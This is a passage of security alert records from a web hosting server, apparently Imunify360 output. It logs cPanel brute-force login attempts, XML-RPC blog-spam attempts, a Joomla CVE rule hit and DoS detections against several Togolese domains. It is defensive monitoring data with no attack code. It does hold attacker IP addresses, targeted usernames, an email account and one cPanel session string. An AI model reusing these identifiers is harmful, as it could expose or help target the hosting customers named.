domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:63a7c7c9ea8559fd40515238c7f1ca3da8b94019||Title:yvrstzr4jscss1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.233.80.173
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5c4b2104ae11ced7b1b3382a50b41dc8783168b7||Title:3qgawbjeb0r5qz3jc||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.162.215.124
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/28.jpeg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.158
country_id: 1880251
description:
47.128.121.158 - - [27/Jun/2026:05:18:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184646&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fcedeao-soutien-togo-terrorisme%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782537537 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/cedeao-soutien-togo-terrorisme/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.158


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.78.8.161
country_id: 6252001
description:
[2026-06-27 05:24:01 +0000] info [cpaneld] 74.78.8.161 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.200.250.26
country_id: 6252001
description:
[2026-06-27 05:23:40 +0000] info [cpaneld] 97.200.250.26 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.101.23.84
country_id: 6252001
description:
[2026-06-27 05:23:56 +0000] info [cpaneld] 68.101.23.84 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.43.154.74
country_id: 6252001
description:
[2026-06-27 05:23:37 +0000] info [cpaneld] 138.43.154.74 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.61.177.205
country_id: 6252001
description:
[2026-06-27 05:23:44 +0000] info [cpaneld] 173.61.177.205 - mesysco "GET /login/?login_only=1&user=mesysco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.38.23.89
country_id: 6252001
description:
[2026-06-27 05:23:58 +0000] info [cpaneld] 66.38.23.89 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.16.152.65
country_id: 6252001
description:
[2026-06-27 05:23:34 +0000] info [cpaneld] 173.16.152.65 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 3.209.84.133
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 3.209.84.133: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.159.148.136
country_id: 6252001
description:
[2026-06-27 05:31:02 +0000] info [cpaneld] 50.159.148.136 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.110.83.10
country_id: 6252001
description:
[2026-06-27 05:31:06 +0000] info [cpaneld] 46.110.83.10 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.248.237.211
country_id: 6252001
description:
[2026-06-27 05:31:09 +0000] info [cpaneld] 69.248.237.211 - mesysco "GET /login/?login_only=1&user=mesysco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.47.214.33
country_id: 6252001
description:
[2026-06-27 05:31:12 +0000] info [cpaneld] 50.47.214.33 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 164.68.145.194
country_id: 6252001
description:
[2026-06-27 05:31:15 +0000] info [cpaneld] 164.68.145.194 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.56.3.125
country_id: 6252001
description:
[2026-06-27 05:31:17 +0000] info [cpaneld] 172.56.3.125 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.114.135.217
country_id: 6252001
description:
[2026-06-27 05:31:20 +0000] info [cpaneld] 76.114.135.217 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.214.30.131
country_id: 6252001
description:
[2026-06-27 05:31:23 +0000] info [cpaneld] 67.214.30.131 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 27 05:33:11 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.158.102.166
country_id: 6252001
description:
[2026-06-27 05:34:11 +0000] info [cpaneld] 76.158.102.166 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.103.241.81
country_id: 6252001
description:
[2026-06-27 05:34:03 +0000] info [cpaneld] 74.103.241.81 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.147.255
country_id: 6252001
description:
[2026-06-27 05:34:06 +0000] info [cpaneld] 172.59.147.255 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 65.32.110.42
country_id: 6252001
description:
[2026-06-27 05:34:24 +0000] info [cpaneld] 65.32.110.42 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.87.116.27
country_id: 6252001
description:
[2026-06-27 05:34:14 +0000] info [cpaneld] 76.87.116.27 - mesysco "GET /login/?login_only=1&user=mesysco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.219.250.65
country_id: 6252001
description:
[2026-06-27 05:34:17 +0000] info [cpaneld] 73.219.250.65 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.22.118.46
country_id: 6252001
description:
[2026-06-27 05:34:19 +0000] info [cpaneld] 173.22.118.46 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.149.39.67
country_id: 6252001
description:
[2026-06-27 05:34:27 +0000] info [cpaneld] 97.149.39.67 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.244.155.202
country_id: 6252001
description:
[2026-06-27 05:35:56 +0000] info [cpaneld] 74.244.155.202 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.1.97.96
country_id: 6252001
description:
[2026-06-27 05:36:06 +0000] info [cpaneld] 98.1.97.96 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.72.166.20
country_id: 6252001
description:
[2026-06-27 05:35:37 +0000] info [cpaneld] 38.72.166.20 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.220.65.213
country_id: 6252001
description:
[2026-06-27 05:35:40 +0000] info [cpaneld] 72.220.65.213 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.126.152.251
country_id: 6252001
description:
[2026-06-27 05:35:50 +0000] info [cpaneld] 76.126.152.251 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.62.206.90
country_id: 6252001
description:
[2026-06-27 05:36:00 +0000] info [cpaneld] 71.62.206.90 - mesysco "GET /login/?login_only=1&user=mesysco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.43.184.194
country_id: 6252001
description:
[2026-06-27 05:35:56 +0000] info [cpaneld] 73.43.184.194 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.105.125.66
country_id: 6252001
description:
[2026-06-27 05:35:58 +0000] info [cpaneld] 73.105.125.66 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.230.152.12
country_id: 6252001
description:
[2026-06-27 05:36:02 +0000] info [cpaneld] 97.230.152.12 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 159.117.167.24
country_id: 6252001
description:
[2026-06-27 05:36:02 +0000] info [cpaneld] 159.117.167.24 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.236.117.143
country_id: 6252001
description:
[2026-06-27 05:35:53 +0000] info [cpaneld] 73.236.117.143 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.165.32.252
country_id: 6252001
description:
[2026-06-27 05:35:53 +0000] info [cpaneld] 67.165.32.252 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.56.119.122
country_id: 6252001
description:
[2026-06-27 05:36:09 +0000] info [cpaneld] 172.56.119.122 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 100.0.68.68
country_id: 6252001
description:
[2026-06-27 05:35:42 +0000] info [cpaneld] 100.0.68.68 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.118.228.178
country_id: 6252001
description:
[2026-06-27 05:35:50 +0000] info [cpaneld] 75.118.228.178 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.45.16.160
country_id: 6252001
description:
[2026-06-27 05:36:14 +0000] info [cpaneld] 24.45.16.160 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 16.98.101.72
country_id: 6252001
description:
[2026-06-27 05:36:16 +0000] info [cpaneld] 16.98.101.72 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 199.96.166.152
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:199.96.166.152||TA:199.96.166.152||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 154.209.214.172
country_id: 2017370
domain: pnls.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:154.209.214.172||TA:154.209.214.172||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.149.75.122
country_id: 6252001
description:
[2026-06-27 05:38:58 +0000] info [cpaneld] 98.149.75.122 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.178.184.151
country_id: 6252001
description:
[2026-06-27 05:39:07 +0000] info [cpaneld] 64.178.184.151 - belalitg "GET /login/?login_only=1&user=belalitg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user belalitg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 35.143.252.55
country_id: 6252001
description:
[2026-06-27 05:39:10 +0000] info [cpaneld] 35.143.252.55 - belal "GET /login/?login_only=1&user=belal&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user belal (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.129.206.83
country_id: 6252001
description:
[2026-06-27 05:39:15 +0000] info [cpaneld] 68.129.206.83 - bela "GET /login/?login_only=1&user=bela&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bela (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 153.66.85.98
country_id: 6252001
description:
[2026-06-27 05:39:17 +0000] info [cpaneld] 153.66.85.98 - bel "GET /login/?login_only=1&user=bel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.183.59.178
country_id: 6252001
description:
[2026-06-27 05:39:21 +0000] info [cpaneld] 76.183.59.178 - be "GET /login/?login_only=1&user=be&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user be (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.217.171.125
country_id: 1269750
domain: tchambainvest.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:52307.tchambainvest.tg||ServerName:tchambainvest.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f45670601247c48efcbe5b157183e260548ce878||Title:b27g9hwsmazcayp0h8||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.77.232.64
country_id: 1643084
description:
[2026-06-27 05:41:35 +0000] info [cpaneld] 36.77.232.64 - two "POST /login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user two (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.130.47.58
country_id: 6252001
description:
43.130.47.58 - - [27/Jun/2026:05:41:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13408156&pdata=https%253A%252F%252Ftogodailynews.tg%252Fnord-togo-le-pam-va-offrir-des-repas-nutritifs-quotidiens-a-28-000-enfants%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782538894 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/nord-togo-le-pam-va-offrir-des-repas-nutritifs-quotidiens-a-28-000-enfants/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.130.47.58


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.217
country_id: 2635167
description:
[2026-06-27 05:46:55 +0000] info [cpaneld] 5.230.133.217 NEW mbyqtkiw:cR1s7wPzxI4ijOhP address=5.230.133.217,app=cpaneld,creator=mbyqtkiw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.76.222.92
country_id: 1210997
description:
203.76.222.92 - - [27/Jun/2026:05:48:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6932638&pdata=https%253A%252F%252Fwww.togosem.com%252F2025%252F02%252F19%252Fcasinos-in-ontario-canada-2024-a-list-associated-with-ontario-casinos%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782539283 HTTP/2.0" 302 0 www.togosem.com "https://www.togosem.com/2025/02/19/casinos-in-ontario-canada-2024-a-list-associated-with-ontario-casinos/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.76.222.92


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.59
country_id: 690791
description:
2026-06-27 05:48:35 H=([77.83.39.59]) [77.83.39.59]:50831 F=<omsagent@oki-marine.co.jp> rejected RCPT <contact@sthandling-aero.tg>: The mail server could not deliver mail to contact@sthandling-aero.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: modsec
rule: 77350169
name: IM360 WAF: Improper access check in webservice endpoints in Joomla! (CVE-2023-23752)
abuser: 39.98.174.28
country_id: 1814991
domain: white-ways.com
description:
IM360 WAF: Improper access check in webservice endpoints in Joomla! (CVE-2023-23752)||MV:true||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.48.104.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e508b99992c7e282f465641a343d5d1d4193de89||Title:5vbyc3lzvzkostk7oo||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.48.104.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:110677d39f8c88d8d9e20382f5c89fd4c61202aa||Title:dnw0m1772hlw8jyyo||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.48.104.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a9c19c46e7c1984b37fdc7912b3903d929d4891f||Title:80op9diqu531g6od||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 147.45.231.206
country_id: 2017370
description:
Jun 27 05:53:51 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 147.45.231.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.45.231.206
country_id: 2017370
description:
2026-06-27 05:53:53 dovecot_plain authenticator failed for H=3549901-gn73013.twc1.net (rswrmnivm6cm53kq8oihuq1jt839pfa) [147.45.231.206]:53196: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 111.14.64.210
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/52257516 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.48.104.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a29228daf2d5c2e34045f53cf89ed1694fe2cb03||Title:17n5tfk53hnpva||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.48.104.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:99f167bb0df56e0bb9929e65544bca5ddf622dba||Title:4nwqx0wks5c97p0o5q||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.48.104.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:379a8814a898a46a888e981a29f2c1bcc83095cc||Title:cy4ldiaz0dzoojd||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.48.104.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5ca9577926ffbc370cc9aadae748750b227bbce2||Title:xs2ak7cm77t9hq0n||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.48.104.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d9acddadbcfeadb6c11f4ff0128d8fed092ee9d9||Title:haaozdghjy0juntn||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 8.10.186.97
country_id: 6252001
description:
[2026-06-27 05:59:44 +0000] info [cpaneld] 8.10.186.97 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.216.16
country_id: 6252001
description:
[2026-06-27 05:59:50 +0000] info [cpaneld] 172.59.216.16 - togointerimnet "GET /login/?login_only=1&user=togointerimnet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointerimnet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.116.25.240
country_id: 6252001
description:
[2026-06-27 06:00:03 +0000] info [cpaneld] 69.116.25.240 - togoint "GET /login/?login_only=1&user=togoint&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoint (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.110.3.49
country_id: 6252001
description:
[2026-06-27 06:00:05 +0000] info [cpaneld] 172.110.3.49 - togoin "GET /login/?login_only=1&user=togoin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoin (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.48.104.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bbe83fcb9224cb63ba58d6bbdf336b38d6fee383||Title:vnizqlbt5f80i8ogt||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.128.227.130
country_id: 6252001
description:
